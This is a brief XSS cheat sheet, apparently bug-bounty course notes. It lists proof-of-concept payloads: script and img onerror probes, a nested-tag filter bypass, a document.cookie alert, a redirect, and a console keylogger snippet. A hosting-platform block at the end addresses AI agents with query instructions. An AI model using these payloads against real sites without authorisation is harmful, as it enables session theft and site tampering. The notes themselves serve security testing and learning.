# XSS

**TRY USING DOUBLE ENCODING LIKE THE URL, BASE64, ETC** ``` alert(1) print() prompt("hello") ```

# everytime you will click a letter will be recorded in the console
function logKey(event){console.log(event.key)}

document.addEventListener("keydown",logKey)

# Test for HTML injection
# See if it stored XSS
<h1>test</h1>

# Stored XSS
<script>prompt(1)</script>

# It will remove the first <script> 
# They it will execute the xss payload
# Also check it is recursively removing the script tag
<scri<script>pt>prompt(1)</scri</script>pt>

# Stored XSS
<script>alert(document.cookie)</script>

# It will redirect to google.com
<img src=x onerror="window.location.href='https://google.com'">

# It will spawn the prompt 
# Which indicates we have xss
<img src=x onerror=prompt()>

{% code overflow="wrap" %} ``` ``` {% endcode %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://kyou00.gitbook.io/xyz/tcm/practical-bug-bounty/xss.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.